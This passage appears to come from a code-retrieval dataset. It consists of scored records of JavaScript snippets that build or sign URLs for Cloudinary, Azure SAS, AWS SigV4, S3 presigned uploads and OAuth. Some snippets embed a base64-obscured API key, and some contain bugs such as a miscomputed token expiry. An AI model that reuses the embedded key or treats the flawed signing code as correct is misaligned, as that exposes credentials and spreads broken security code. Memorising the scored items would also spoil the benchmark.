((secure_cdn_subdomain == null) && shared_domain) {\n secure_cdn_subdomain = cdn_subdomain;\n }\n if (secure_cdn_subdomain) {\n secure_distribution = secure_distribution.replace('res.cloudinary.com', 'res-' + ((crc32(source) % 5) + 1 + '.cloudinary.com'));\n }\n prefix = 'https://' + secure_distribution;\n } else if (cname) {\n let subdomain = cdn_subdomain ? 'a' + ((crc32(source) % 5) + 1) + '.' : '';\n prefix = 'http://' + subdomain + cname;\n } else {\n let cdn_part = private_cdn ? cloud_name + '-' : '';\n let subdomain_part = cdn_subdomain ? '-' + ((crc32(source) % 5) + 1) : '';\n let host = [cdn_part, 'res', subdomain_part, '.cloudinary.com'].join('');\n prefix = 'http://' + host;\n }\n if (shared_domain) {\n prefix += '/' + cloud_name;\n }\n return prefix;\n}", "title": "" }, { "docid": "fa42eaf2e3c8f48a2e12d61e83ed9baa", "score": "0.46534428", "text": "function createSASToken(uri, key_name, key) {\n // Token expires in 24 hours\n var expiry = Math.floor(new Date().getTime()/3600*24);\n \n var string_to_sign = encodeURIComponent(uri) + '\\n' + expiry;\n var hmac = crypto.createHmac('sha256', key);\n hmac.update(string_to_sign);\n var signature = hmac.digest('base64');\n var token = 'SharedAccessSignature sr=' + encodeURIComponent(uri) + '&sig=' + encodeURIComponent(signature) + '&se=' + expiry + '&skn=' + key_name;\n \n return token;\n }", "title": "" }, { "docid": "efe196e71dd29c7d5a97c680a0151e44", "score": "0.46494827", "text": "function createUrl() {\n var str = \"\";\n for (var i = 0; i < numQuestions; i++) {\n var q = questions[i].children[0].children[0].value;\n var a = questions[i].children[1].children[0].value;\n str += q;\n str += \"/\";\n str += a;\n str += \"?\";\n }\n str = CryptoJS.AES.encrypt(str, \"url\");\n\n if (str.length < 3) {\n str = \"unavailable. Please enter both inputs\"\n }\n alert(\"Your URL is zipquiz.paperplane.io/\" + str);\n}", "title": "" }, { "docid": "14b54ef188e1bffdbf58e3fb13f50e09", "score": "0.4642408", "text": "getSignedUrl(file, callback) {\n UscisApiService.getSignedUrl(\n this.state.uuid,\n this.state.image_name,\n this.state.image_type\n )\n .then(json => {\n callback(json);\n })\n .catch(e => {\n this.onError(e);\n });\n }", "title": "" }, { "docid": "ce35255c5efaf79ba16943ac7a8b2538", "score": "0.46377286", "text": "function main() {\n // our letiables\n let access_key = 'xxx';\n let secret_key = 'yyy';\n let region = 'us-west-2';\n let url = 'search-test-kaiminc-gnajvxs3uu6jgs4pya6dkecsl4.us-west-2.es.amazonaws.com';\n let myService = 'es';\n let myMethod = 'GET';\n let myPath = '/';\n \n // get the letious date formats needed to form our request\n let amzDate = getAmzDate(new Date().toISOString());\n let authDate = amzDate.split(\"T\")[0];\n \n // we have an empty payload here because it is a GET request\n let payload = '';\n // get the SHA256 hash value for our payload\n let hashedPayload = crypto.SHA256(payload).toString();\n \n // create our canonical request\n let canonicalReq = myMethod + '\\n' +\n myPath + '\\n' +\n '\\n' +\n 'host:' + url + '\\n' +\n 'x-amz-content-sha256:' + hashedPayload + '\\n' +\n 'x-amz-date:' + amzDate + '\\n' +\n '\\n' +\n 'host;x-amz-content-sha256;x-amz-date' + '\\n' +\n hashedPayload;\n \n // hash the canonical request\n let canonicalReqHash = crypto.SHA256(canonicalReq).toString();\n \n // form our String-to-Sign\n let stringToSign = 'AWS4-HMAC-SHA256\\n' +\n amzDate + '\\n' +\n authDate+'/'+region+'/'+myService+'/aws4_request\\n'+\n canonicalReqHash;\n \n // get our Signing Key\n let signingKey = getSignatureKey(crypto, secret_key, authDate, region, myService);\n \n // Sign our String-to-Sign with our Signing Key\n let authKey = crypto.HmacSHA256(stringToSign, signingKey);\n \n // Form our authorization header\n let authString = 'AWS4-HMAC-SHA256 ' +\n 'Credential='+\n access_key+'/'+\n authDate+'/'+\n region+'/'+\n myService+'/aws4_request,'+\n 'SignedHeaders=host;x-amz-content-sha256;x-amz-date,'+\n 'Signature='+authKey;\n \n // throw our headers together\n headers = {\n 'Authorization' : authString,\n 'Host' : url,\n 'x-amz-date' : amzDate,\n 'x-amz-content-sha256' : hashedPayload\n };\n\n performRequest(url, headers, payload, function(response){\n console.log('=== \\n');\n });\n}", "title": "" }, { "docid": "96b3f448a1cd6a1c0c8b9bd2149ae8c5", "score": "0.4614128", "text": "function presignGenerator(s3_promo_bucket,s3_promo_key){\n var presign_url;\n console.log(\"s3 presign generator api call: initializing\")\n\n var param1 = \"awsaccount=master\";\n var param2 = \"&functiontorun=presignGenerator\"\n var param3 = \"&channelid=0:x\"; // this needs to be full list of channel id's and regions\n var param4 = \"&maxresults=200\";\n var param5 = \"&bucket=\"+s3_promo_bucket;\n var param6 = \"&input=\"+s3_promo_key;\n var param7 = \"&follow=\";\n var url = apiendpointurl+\"?\"+param1+param2+param3+param4+param5+param6+param7\n\n var request = new XMLHttpRequest();\n request.open('GET', url, false);\n\n request.onload = function() {\n\n if (request.status === 200) {\n var jdata = JSON.parse(request.responseText);\n\n console.log(jdata)\n presign_url = jdata.url\n\n } else {\n // Reached the server, but it returned an error\n }\n}\n\nrequest.onerror = function() {\n console.error('An error occurred fetching the JSON from ' + url);\n alert(\"Could not generate Presign S3 URL\")\n};\n\nrequest.send();\nreturn presign_url\n} // end", "title": "" }, { "docid": "b60458ebea892d7cd9db2066fd7622de", "score": "0.46111864", "text": "function getSignedRequest(file){\n const xhr = new XMLHttpRequest();\n xhr.open('GET', `/sign-s3?file-name=${file.name}&file-type=${file.type}`);\n xhr.onreadystatechange = () => {\n if(xhr.readyState === 4){\n if(xhr.status === 200){\n const response = JSON.parse(xhr.responseText);\n component.stateHelper={imageFile:file,signedRequest:response.signedRequest,url:response.url} //but all of this is going to editProducts!!\n document.getElementById('preview').src = response.url; //dont confuse this url for the response.url\n }\n else{\n alert('Could not get signed URL.');\n }\n }\n };\n xhr.send(); //this is when the request actually gets sent! The top part is just 'defining/definitions of stuff\n }", "title": "" }, { "docid": "89c18bbbb38aee1239d9496951fd8c0a", "score": "0.45632976", "text": "function createUrl(base,domain){\r\n return 'http://' + base + '.' + domain\r\n}", "title": "" }, { "docid": "25de20d1bf0ee4e24a5600c96b508720", "score": "0.4561531", "text": "async function generateDocusignViewURL (req, res) {\n res.send(await service.generateDocusignViewURL(req.authUser, req.body))\n}", "title": "" }, { "docid": "edc67de4a514d8f18a957fe32166b846", "score": "0.4551079", "text": "function generateUrl(keyWords) {\n // return baseUrl + keyWords.replace(/ +/g, \"+\");\n return baseUrl + keyWords;\n }", "title": "" }, { "docid": "0464952bb77a4696275e1f4b07b3e698", "score": "0.4526725", "text": "static urlGenerator(url_parameters){\n if(url_parameters){\n return Object.keys(url_parameters).map(key => `${key}=${url_parameters[key]}`).join(\"&\");\n }else{\n return \"\";\n }\n }", "title": "" }, { "docid": "5c6376b4a1544241eec6636776917979", "score": "0.45256242", "text": "function getSignedRequest(file) {\n const xhr = new XMLHttpRequest();\n xhr.open(\"GET\", \"/api/v1/sign-s3?file-name=\" + encodeURIComponent(file.filename) + \"&file-type=\" + file.type);\n xhr.onreadystatechange = () => {\n if (xhr.readyState === 4) {\n if (xhr.status === 200) {\n const response = JSON.parse(xhr.responseText);\n uploadFile(file, response.signedRequest, response.url);\n } else {\n alert(\"Could not get signed URL.\");\n }\n }\n };\n xhr.send();\n}", "title": "" }, { "docid": "f00ee25fce447ae759ed8c66be2089b0", "score": "0.4524056", "text": "function createURL(book){\n return `https://www.googleapis.com/books/v1/volumes?q=${book}`;\n}", "title": "" }, { "docid": "c2331b3c97f8fa51ccbd8ba1574e8c45", "score": "0.45117554", "text": "urlTo(resource) {\n return resource;\n }", "title": "" }, { "docid": "f970031a95fe9c60204b448686d03c7b", "score": "0.45089167", "text": "function signCertificates() {\n simpleOpenSSL( [\n 'x509', '-req', '-days', '36500', '-sha256',\n '-in', scratch_path + \"/server.csr\",\n '-CA', ca_cert_path,\n '-CAkey', private_key_path,\n '-CAcreateserial',\n '-out', scratch_path + \"/server-cert.pem\",\n '-extfile', scratch_path + \"/extfile.cnf\",\n '-passin', 'env:SSLDPASSPH'\n ], uploadSignedFiles );\n }", "title": "" }, { "docid": "9f7f700ef6e5cfe0d1149f8caf328bdc", "score": "0.45024467", "text": "function get_signed_request(file){\n\t\t\tconsole.log(\"getting signed request\")\n\t\tvar xhr = new XMLHttpRequest();\n\t\txhr.open(\"GET\", \"https://revisit-app.herokuapp.com/sign_s3?file_name=\"+file.name+\"&file_type=\"+file.type);\n\t\txhr.onreadystatechange = function(){\n\t\t if(xhr.readyState === 4){\n\t\t if(xhr.status === 200){\n\t\t var response = JSON.parse(xhr.responseText);\n\t\t upload_file(file, response.signed_request, response.url);\n\t\t }\n\t\t else{\n\t\t alert(\"Could not get signed URL.\");\n\t\t }\n\t\t }\n\t\t};\n\t\txhr.send();\n\t\t}", "title": "" }, { "docid": "1dbb9dc9475329a82931c35dcfc0df57", "score": "0.44991726", "text": "function generateSign(params) {\n const keys = Object.keys(params).filter(key => (key !== 'format' || key !== 'callback'));\n\n // params has to be ordered alphabetically\n keys.sort();\n\n const o = keys.reduce((r, key) => (r + key + params[key]), '');\n\n // append secret\n return MD5(o + options.apiSecret);\n }", "title": "" }, { "docid": "5ba44ed2ae8172a637ccd316eb5fb42a", "score": "0.44839412", "text": "function normalize(...aURLs) {\n\t let base = Services.io.newURI(aURLs.pop(), null, null);\n\t let url;\n\t while (url = aURLs.pop()) {\n\t base = Services.io.newURI(url, null, base);\n\t }\n\t return base.spec;\n\t}", "title": "" }, { "docid": "c3b066f83b409f5006c75c38a7d00060", "score": "0.44544613", "text": "function RenderUMLandGetURL(s) {\n try\n {\n // UTF8\n s = unescape(encodeURIComponent(s));\n return PlantUMLResourceURL + encode64(zip_deflate(s, zipMaxCompressionLevel));\n }\n catch (err)\n {\n alert(\"exception: \" + err.message);\n }\n}", "title": "" }, { "docid": "2665672e9e2e793cf1a241f0342df5f8", "score": "0.44416136", "text": "generateUrl(type) {\n let url;\n let documentUrl = document.URL;\n\n switch(type) {\n case 'facebook':\n url = `${this.settings.shareWith.facebook.baseUrl}?u=${documentUrl}`;\n break;\n case 'twitter':\n url = `${this.settings.shareWith.twitter.baseUrl}?url=${documentUrl}`;\n break;\n case 'linkedin':\n url = `${this.settings.shareWith.linkedin.baseUrl}?url=${documentUrl}`;\n\n if(this.settings.shareWith.linkedin.props.mini) {\n url = `${url}&mini=true`;\n }\n\n if(this.settings.shareWith.linkedin.props.summary !== null) {\n url = `${url}&summary=${this.settings.shareWith.linkedin.props.summary}`;\n }\n\n if(this.settings.shareWith.linkedin.props.title !== null) {\n url = `${url}&title=${this.settings.shareWith.linkedin.props.title}`;\n }\n\n if(this.settings.shareWith.linkedin.props.source !== null) {\n url = `${url}&source=${this.settings.shareWith.linkedin.props.source}`;\n }\n break;\n case 'pinterest':\n url = `${this.settings.shareWith.pinterest.baseUrl}?url=${documentUrl}`;\n\n if(this.settings.shareWith.pinterest.props.description !== null) {\n url = `${url}&description=${this.settings.shareWith.pinterest.props.description}`\n }\n\n if(this.settings.shareWith.pinterest.props.media !== null) {\n url = `${url}&description=${this.settings.shareWith.pinterest.props.media}`\n }\n\n break;\n }\n\n return url;\n }", "title": "" }, { "docid": "8ddcc2f84da89e1c91b4b69ddff4cdb4", "score": "0.4419417", "text": "async getUrl(fileName, fileType) {\n // prepare aws\n const s3Params = {\n Key: fileName,\n ContentType: fileType,\n ACL: 'public-read'\n }\n // get url\n return await Drive.disk('s3').getSignedUrl(filename, s3Params)\n }", "title": "" }, { "docid": "d6654fe16686e6fd4b676ad662dc302e", "score": "0.44165838", "text": "async function webPubSubSharedPrivateLinkResourcesCreateOrUpdate() {\n const subscriptionId =\n process.env[\"WEB-PUBSUB_SUBSCRIPTION_ID\"] || \"00000000-0000-0000-0000-000000000000\";\n const sharedPrivateLinkResourceName = \"upstream\";\n const resourceGroupName = process.env[\"WEB-PUBSUB_RESOURCE_GROUP\"] || \"myResourceGroup\";\n const resourceName = \"myWebPubSubService\";\n const parameters = {\n groupId: \"sites\",\n privateLinkResourceId:\n \"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/myResourceGroup/providers/Microsoft.Web/sites/myWebApp\",\n requestMessage: \"Please approve\",\n };\n const credential = new DefaultAzureCredential();\n const client = new WebPubSubManagementClient(credential, subscriptionId);\n const result = await client.webPubSubSharedPrivateLinkResources.beginCreateOrUpdateAndWait(\n sharedPrivateLinkResourceName,\n resourceGroupName,\n resourceName,\n parameters\n );\n console.log(result);\n}", "title": "" }, { "docid": "d0f60b0520cc1025c970431fcfdce779", "score": "0.4401914", "text": "async createSignedOffer(offer, signature, signer) {\n const signedOffer = await this.api.createType('SignedOffer', { offer, signature, signer });\n return signedOffer;\n }", "title": "" }, { "docid": "ab4c9bf2fe14ed0f0d2ad93c1e6e22e8", "score": "0.43959197", "text": "async requestSignTransactions(transactions, callbackUrl) {\n const currentUrl = new URL(window.location.href);\n const newUrl = new URL('sign', this._walletBaseUrl);\n newUrl.searchParams.set('transactions', transactions\n .map(transaction => borsh_2.serialize(transaction_1.SCHEMA, transaction))\n .map(serialized => Buffer.from(serialized).toString('base64'))\n .join(','));\n newUrl.searchParams.set('callbackUrl', callbackUrl || currentUrl.href);\n window.location.assign(newUrl.toString());\n }", "title": "" }, { "docid": "e3249720c872fb0addee58804bed7880", "score": "0.43846306", "text": "function bulkCreate(urls = []) {\n if(!Array.isArray(urls) || !urls.length) {\n promise.resolve([]);\n }\n let validUrls = [];\n const results = [];\n for(let idx = 0; idx<urls.length; idx++) {\n const url = getValidUrl(urls[idx]);\n if(url) {\n validUrls.push(url);\n } else {\n results.push({path: urls[idx], message: \"Invalid Url\", shortenPath: null});\n }\n }\n if(!validUrls.length) return Promise.resolve(results);\n validUrls = _.uniq(validUrls);\n return global.DB.models.record.findAll({where: {path: validUrls}})\n .then(res => {\n const existingEntries = _.map(res, r => {\n results.push({id: r.id, path: r.path, shortenPath: `/r/${r.shortenPath}`, message: \"Existing\"});\n return r.path;\n });\n const newEntries = _.map(_.differenceBy(validUrls, existingEntries), r => ({path: r}));\n if(!newEntries.length) return results;\n return global.DB.models.record.bulkCreate(newEntries, {returning: true})\n .then(newList => {\n _.forEach(newList, i => {\n results.push({id: i.id, path: i.path, shortenPath: createShortenUrl(i), message: \"new\"});\n });\n return results;\n })\n })\n}", "title": "" }, { "docid": "e557a1d0e0efd3cde0e6a11bd2951dc2", "score": "0.43779042", "text": "function generateShortUrl (length) {\n const lowerCaseLetters = 'abcdefghijklmnopqrstuvwxyz'\n const upperCaseLetters = lowerCaseLetters.toUpperCase()\n const numbers = '1234567890'\n\n const collection = lowerCaseLetters + upperCaseLetters + numbers\n let shortUrl = ''\n\n for (let i = 0; i < length; i++) {\n shortUrl += sample(collection)\n }\n return shortUrl\n}", "title": "" }, { "docid": "aaa649eeaa30dfc33e445b212085c538", "score": "0.43721533", "text": "function createCanonicalUrl(selectedRefinements){\n\tvar canonical='';\n\tif (_.find(selectedRefinements, { 'refinementName': 'primaryBusinessSector_1' })!=undefined){\n\t\tcanonical='/business/'+utils.convertToSlug(_.find(selectedRefinements, { 'refinementName': 'primaryBusinessSector_1' }).refinementValue);\n\t} \n\tif (_.find(selectedRefinements, { 'refinementName': 'socialPurposeCategoryTags' })!=undefined) {\n\t\tcanonical=canonical+'/social/'+utils.convertToSlug(_.find(selectedRefinements, { 'refinementName': 'socialPurposeCategoryTags' }).refinementValue);\n\t} \n\tif (_.find(selectedRefinements, { 'refinementName': 'demographicImpact' })!=undefined) {\n\t\tcanonical=canonical+'/impact/'+utils.convertToSlug(_.find(selectedRefinements, { 'refinementName': 'demographicImpact' }).refinementValue);\n\t}\n\tif (_.find(selectedRefinements, { 'refinementName': 'islandGroup' })!=undefined) {\n\t\tcanonical=canonical+'/island/'+utils.convertToSlug(_.find(selectedRefinements, { 'refinementName': 'islandGroup' }).refinementValue);\n\t}\n\treturn (secrets.externalUrl+'/explore'+canonical);\n}", "title": "" }, { "docid": "f2b1713378a506872123478bd63c4699", "score": "0.43665656", "text": "function createOauthSignature(token, consumerKey, nonce, signMethod, timestamp, version, method, includeEntities,\n status, tweetPath, baseUrl, consumerSecret, tokenSecret) {\n // Concatenate parameters according to specification\n const parameters = `${encodeURIComponent('include_entities')}=${encodeURIComponent(includeEntities)}&${encodeURIComponent('oauth_consumer_key')}=${encodeURIComponent(consumerKey)}&${encodeURIComponent('oauth_nonce')}=${encodeURIComponent(nonce)}&${encodeURIComponent('oauth_signature_method')}=${encodeURIComponent(signMethod)}&${encodeURIComponent('oauth_timestamp')}=${encodeURIComponent(timestamp)}&${encodeURIComponent('oauth_token')}=${encodeURIComponent(token)}&${encodeURIComponent('oauth_version')}=${encodeURIComponent(version)}&${encodeURIComponent('status')}=${encodeURIComponent(status)}`;\n\n // Concatenate url with parameters according to spec\n const message = `${method}&${encodeURIComponent(baseUrl)}&${encodeURIComponent(parameters)}`;\n\n const key = `${encodeURIComponent(consumerSecret)}&${encodeURIComponent(tokenSecret)}`;\n const hash = new CryptoJS.HmacSHA1(message, key);\n // Return the hash of everything in Base64\n return CryptoJS.enc.Base64.stringify(hash);\n}", "title": "" }, { "docid": "32ab1221537d75b067318fd8e8b4aa22", "score": "0.43418062", "text": "function createURL(event)\n {\n var $creationDate = convertDate($sitePropsObj[\"_site_props_CreationDate\"]);\n var $blockDate = convertDate($sitePropsObj[\"_site_props_BlockDate\"]);\n var $expDate = convertDate($sitePropsObj[\"expDate\"]);\n var $retentionURL = \"https://flextronics365.sharepoint.com/sites/sharepoint/RetentionAssets/showmetadata.aspx?owner=\" + $sitePropsObj[\"_site_props_MainOwner\"] + \"&type=\" + $sitePropsObj[\"_site_props_Type\"] + \"&cdate=\" + $creationDate + \"&bdate=\" + $blockDate + \"&comply=\" + $sitePropsObj[\"_site_props_Compliance\"] + \"&curl=\" + $currentUrl + \"&close=\" + $sitePropsObj[\"_site_props_Compliance\"] + \"&edate=\" + $expDate + \"&policy=\" + $sitePropsObj['_site_props_policy'] + \"&siteid=\" + $sitePropsObj['_site_props_dbid'] + \"&curuser=\" + $sitePropsObj['_currentUser'] + \"&srclink=nav&isowner=\" + $sitePropsObj['_site_props_MainOwner'];\n \n // console.log('Retention URL',$retentionURL);\n openDialog($retentionURL);\n }", "title": "" }, { "docid": "e014580e11a291f0c6e93d28888b6cff", "score": "0.43373883", "text": "function createSharedLink(values, options, callback) {\n debugger;\n\n var url = options.base_url + \"/files/\" + values.fileid;\n\n if (values.access == undefined) {\n values.access = \"open\";\n }\n if (values.can_download == undefined) {\n values.can_download = true;\n }\n\n var header = {\n url: url,\n headers: {\n 'Authorization': 'Bearer ' + options.token.access_token\n },\n method: \"PUT\",\n json: {\n \"shared_link\": {\n \"access\": values.access,\n \"permissions\": {\n \"can_download\": values.can_download\n }\n }\n }\n };\n\n var req = request(header, function(e, r, body) {\n callback(body);\n });\n}", "title": "" }, { "docid": "5f31b8e9b6aaf1dc160c74c610141464", "score": "0.43345258", "text": "function getPublicUrl (filename) {\n return `https://storage.googleapis.com/${CLOUD_BUCKET}/${filename}`;\n}", "title": "" }, { "docid": "5f31b8e9b6aaf1dc160c74c610141464", "score": "0.43345258", "text": "function getPublicUrl (filename) {\n return `https://storage.googleapis.com/${CLOUD_BUCKET}/${filename}`;\n}", "title": "" }, { "docid": "5f31b8e9b6aaf1dc160c74c610141464", "score": "0.43345258", "text": "function getPublicUrl (filename) {\n return `https://storage.googleapis.com/${CLOUD_BUCKET}/${filename}`;\n}", "title": "" }, { "docid": "5b34571323d8433eb6cb66527bf62279", "score": "0.43333048", "text": "function createObjectURL(file, context) {\n var url = window.URL.createObjectURL(file);\n objectURLs[context].push(url);\n return url;\n }", "title": "" }, { "docid": "f0c559368044e5a177a83fcd1ff4ae2e", "score": "0.43238342", "text": "function codificaURL(sTexto) {\n return codifica(sTexto)+'&hash='+hex_md5(sTexto);\n }", "title": "" }, { "docid": "24f46293a300f4ede260d775200aa5e5", "score": "0.4319988", "text": "static sign(id) {\n const sub = { id }\n const expiresIn = '7 days'\n return signPromise({ sub }, secret, { expiresIn })\n }", "title": "" }, { "docid": "1599acd2abb59f0d726b920e5cebd20b", "score": "0.43183824", "text": "function createResource(uri){\n $.ajax({\n url: uri,\n type: \"POST\",\n statusCode: {\n 300: function(){\n console.info(\"300:\", arguments);\n storeHtml(uri);\n },\n 302: function(){\n console.info(\"302:\", arguments);\n storeHtml(uri);\n }\n },\n\n success: function() {\n console.info(\"createResource:\", arguments);\n storeHtml(uri);\n },\n error: function() {\n console.error(\"createResource:\", arguments);\n }\n });\n }", "title": "" }, { "docid": "b397c283daf082c3dc7a662d86762e33", "score": "0.43133953", "text": "function SafeUrl() { }", "title": "" }, { "docid": "b397c283daf082c3dc7a662d86762e33", "score": "0.43133953", "text": "function SafeUrl() { }", "title": "" }, { "docid": "b397c283daf082c3dc7a662d86762e33", "score": "0.43133953", "text": "function SafeUrl() { }", "title": "" }, { "docid": "ce87cc5f56fcadd00d6fa1ba760fba89", "score": "0.43086597", "text": "_createTemplateUrl(datasourceUrl, supportsQuads) {\n return datasourceUrl + (!supportsQuads ? '{?subject,predicate,object}' :\n '{?subject,predicate,object,graph}');\n }", "title": "" }, { "docid": "ca1a1b250174c059d6687ead9dfb66d9", "score": "0.4306521", "text": "createUrl() {\n let url = this.url;\n url += `?callback=${this.CALLBACK}`;\n if (this.apiKey) {\n url += `&key=${this.apiKey}`;\n }\n if (this.channel) {\n url += `&channel=${this.channel}`;\n }\n if (this.client) {\n url += `&client=${this.client}`;\n }\n if (this.libraries.length > 0) {\n url += `&libraries=${this.libraries.join(\",\")}`;\n }\n if (this.language) {\n url += `&language=${this.language}`;\n }\n if (this.region) {\n url += `&region=${this.region}`;\n }\n if (this.version) {\n url += `&v=${this.version}`;\n }\n if (this.mapIds) {\n url += `&map_ids=${this.mapIds.join(\",\")}`;\n }\n return url;\n }", "title": "" }, { "docid": "c11de9513adde48cc13f3741d9c7cd10", "score": "0.4299086", "text": "static _constructUrl(path) {\n return `${this.TMDB_BASE_URL}/${path}?api_key=${atob('NTQyMDAzOTE4NzY5ZGY1MDA4M2ExM2M0MTViYmM2MDI=')}`;\n }", "title": "" }, { "docid": "8e4f539bffba3696acd5f8fa20465977", "score": "0.42980635", "text": "function exampleTagCreateURL(url, q) {\n\tvar testImageURL = url;\n\tvar ourId = \"totem\"; // this is any string that identifies the image to your system\n\t// Clarifai.setRequestTimeout( 100 ); // in ms - expect: force a timeout response\n\t// Clarifai.setRequestTimeout( 100 ); // in ms - expect: ensure no timeout\n console.log(url);\n\tClarifai.tagURL(url, ourId, function(err, results){\n console.log(results[\"results\"][0].result);\n db.totemvault.findAndModify({\n query:{userID: 1},\n update:{\n $setOnInsert: {userID: 1,\n tags: results[\"results\"][0].result}\n },\n new: true,\n upsert: true // insert the document if it does not exist\n },function (err, doc, lastErrorObject) {\n // doc.tag === 'maintainer'\n })\n });\n}", "title": "" }, { "docid": "9238f8c01c566080ef689d1adc5acd62", "score": "0.42970204", "text": "function createOAuthSignature(method, headers, scheme, urlString, postData){\n\tvar bString = buildBaseString(method, headers, scheme, urlString, postData);\n\tvar consumerKey = parseAuthorizationHeaders(headers['authorization'])['oauth_consumer_key'];\n\tvar key = encode(consumerKeySecrets[consumerKey]) + '&';\n\t//future note: for writing this asynchronously, update can be called multiple times to add stuff to the hash\n\treturn encode(crypto.createHmac('sha1',key).update(bString).digest('base64'));\n}", "title": "" }, { "docid": "8e71696f205dd5a0b60349086bc35e49", "score": "0.42941952", "text": "function createURL(URLid) {\n let name = URLid;\n if (URLid.includes('-')) {\n name = URLid.split('-');\n return `https://dog.ceo/api/breed/${name[1]}/${name[0]}/images/random/4`;\n } else {\n return `https://dog.ceo/api/breed/${name}/images/random/4`;\n }\n }", "title": "" }, { "docid": "d633ff0ffb1910464577e849c8e9d445", "score": "0.42796907", "text": "function makePhotoURL(photoObj) {\n var farm_id = photoObj.farm;\n var server_id = photoObj.server;\n var id = photoObj.id;\n var secret = photoObj.secret;\n\n var url = 'http://farm' + farm_id + '.staticflickr.com/' + server_id + '/' + id + '_' + secret + '.jpg';\n\n return url;\n}", "title": "" }, { "docid": "3b46fef147b70222ef76cf74b8327be9", "score": "0.42651767", "text": "async generateSignature(method, endpoint, content) {\n return new Promise(resolve => {\n const contentStr = content === {} ? \"\" : JSON.stringify(content);\n const contentMd5 = crypto\n .createHash(\"md5\")\n .update(contentStr)\n .digest(\"hex\");\n const date = new Date(Date.now()).toUTCString();\n const signStr =\n method +\n \"\\n\" +\n contentMd5 +\n \"\\n\" +\n \"application/json\" +\n \"\\n\" +\n date +\n \"\\n\" +\n endpoint;\n\n // Create verification signature\n const signature = crypto\n .createHmac(\"sha1\", this.apiSecret)\n .update(signStr)\n .digest()\n .toString(\"base64\");\n\n resolve({ signature, date });\n });\n }", "title": "" }, { "docid": "8dcc4be63ae2869f43dd7e9616b7690f", "score": "0.42647234", "text": "function createURL(firstName, lastName) {\n var newURL;\n firstName = firstName.replace(/\\s+/g, '');\n lastName = lastName.replace(/\\s+/g, '');\n var name = firstName + lastName;\n\n return new Promise(function(resolve,reject) {\n Registry.count({firstName: firstName, lastName: lastName}, function(err, count){\n if(err) {\n console.log('Mongo error: ',err);\n reject(err);\n } else {\n if(count === 0) {\n newURL = name;\n } else {\n var num = count + 1;\n newURL = name + num;\n }\n resolve(newURL);\n }\n });\n });\n}", "title": "" }, { "docid": "3abffcff0b79d921e064a48db97f59b1", "score": "0.42645884", "text": "function synthesizeUrl(serviceConfig, req, res) {\n const parameters = _.map(serviceConfig.getParameters(req, res), (value, key) => {\n return `${key}=${value}`;\n }).join('&');\n\n if (parameters) {\n return encodeURI(`${serviceConfig.getUrl(req)}?${parameters}`);\n } else {\n return serviceConfig.getUrl(req);\n }\n\n}", "title": "" }, { "docid": "0d17d5aaa0c9358362ee129453480ba6", "score": "0.42574695", "text": "_makeURL(path, params) {\n let url = this.#baseURL + encodeURI(path);\n let resultURL = new URL(url);\n\n params = Object.assign({ api_key: this.#apiKey }, params);\n Object.keys(params).forEach((key) =>\n resultURL.searchParams.set(key, params[key])\n );\n\n return resultURL;\n }", "title": "" }, { "docid": "2bcd2fb008efbfe5a42b1b5b9e7a6e9c", "score": "0.42563817", "text": "static _constructUrl(path) {\n return `${this.TMDB_BASE_URL}/${path}?api_key=${atob('NTQyMDAzOTE4NzY5ZGY1MDA4M2ExM2M0MTViYmM2MDI=')}`; \n }", "title": "" }, { "docid": "21e5480bd845b17157cb4518f5168ede", "score": "0.42546925", "text": "function _generateSig () {\n // Get timestamp moment request.\n var timestamp = Math.round( new Date().getTime() / 1000 );\n\n // Generate hash and update SIG code in common request.\n scope.options.sig = crypto.createHash(\"md5\")\n .update(scope.options.apiKey + scope.sharedSecret + timestamp)\n .digest(\"hex\");\n }", "title": "" }, { "docid": "7240335a891444d1f9355f859dd63410", "score": "0.42540047", "text": "async getPublicUrl (filename) {\n return `https://storage.googleapis.com/${CLOUD_BUCKET}/${filename}`;\n }", "title": "" }, { "docid": "d7447cfd08a1fbe133442a44fe6bcf7d", "score": "0.42484635", "text": "function buildUrl(photo) {\n var farmId = photo.farm;\n var serverId = photo.server;\n var photoId = photo.id;\n var secret = photo.secret;\n return 'https://farm' + farmId + '.staticflickr.com/' + serverId\n + '/' + photoId + '_' + secret + '_m.jpg';\n}", "title": "" }, { "docid": "0edadc80598fc0c650c3c09cd21355c6", "score": "0.4248439", "text": "function createSignature(method, endPoint, headerParameters, bodyParameters, secretKey, tokenSecret) {\n if(typeof jsSHA !== \"undefined\") {\n var headerAndBodyParameters = angular.copy(headerParameters);\n var bodyParameterKeys = Object.keys(bodyParameters);\n\n for(var i = 0; i < bodyParameterKeys.length; i++) {\n headerAndBodyParameters[bodyParameterKeys[i]] = encodeURIComponent(bodyParameters[bodyParameterKeys[i]]);\n }\n\n var signatureBaseString = method + \"&\" + encodeURIComponent(endPoint) + \"&\";\n var headerAndBodyParameterKeys = (Object.keys(headerAndBodyParameters)).sort();\n\n for(i = 0; i < headerAndBodyParameterKeys.length; i++) {\n if(i == headerAndBodyParameterKeys.length - 1) {\n signatureBaseString += encodeURIComponent(headerAndBodyParameterKeys[i] + \"=\" + headerAndBodyParameters[headerAndBodyParameterKeys[i]]);\n } else {\n signatureBaseString += encodeURIComponent(headerAndBodyParameterKeys[i] + \"=\" + headerAndBodyParameters[headerAndBodyParameterKeys[i]] + \"&\");\n }\n }\n\n var oauthSignatureObject = new jsSHA(signatureBaseString, \"TEXT\");\n\n var encodedTokenSecret = '';\n if (tokenSecret) {\n encodedTokenSecret = encodeURIComponent(tokenSecret);\n }\n\n headerParameters.oauth_signature = encodeURIComponent(oauthSignatureObject.getHMAC(encodeURIComponent(secretKey) + \"&\" + encodedTokenSecret, \"TEXT\", \"SHA-1\", \"B64\"));\n var headerParameterKeys = Object.keys(headerParameters);\n var authorizationHeader = 'OAuth ';\n\n for(i = 0; i < headerParameterKeys.length; i++) {\n if(i == headerParameterKeys.length - 1) {\n authorizationHeader += headerParameterKeys[i] + '=\"' + headerParameters[headerParameterKeys[i]] + '\"';\n } else {\n authorizationHeader += headerParameterKeys[i] + '=\"' + headerParameters[headerParameterKeys[i]] + '\",';\n }\n }\n\n return { signature_base_string: signatureBaseString, authorization_header: authorizationHeader, signature: headerParameters.oauth_signature };\n } else {\n return \"Missing jsSHA JavaScript library\";\n }\n }", "title": "" }, { "docid": "c03e871dcd115d734327f1bacc004460", "score": "0.4244953", "text": "function createSignatureForPathAndQuery(pathAndQuery, secret) {\r\n var decodedSecret = decodeSecret(secret);\r\n // Sign the url with the decoded secret\r\n var unsafeSignature = HmacSHA1(pathAndQuery, decodedSecret).toString(Base64);\r\n // Convert from true base64 to 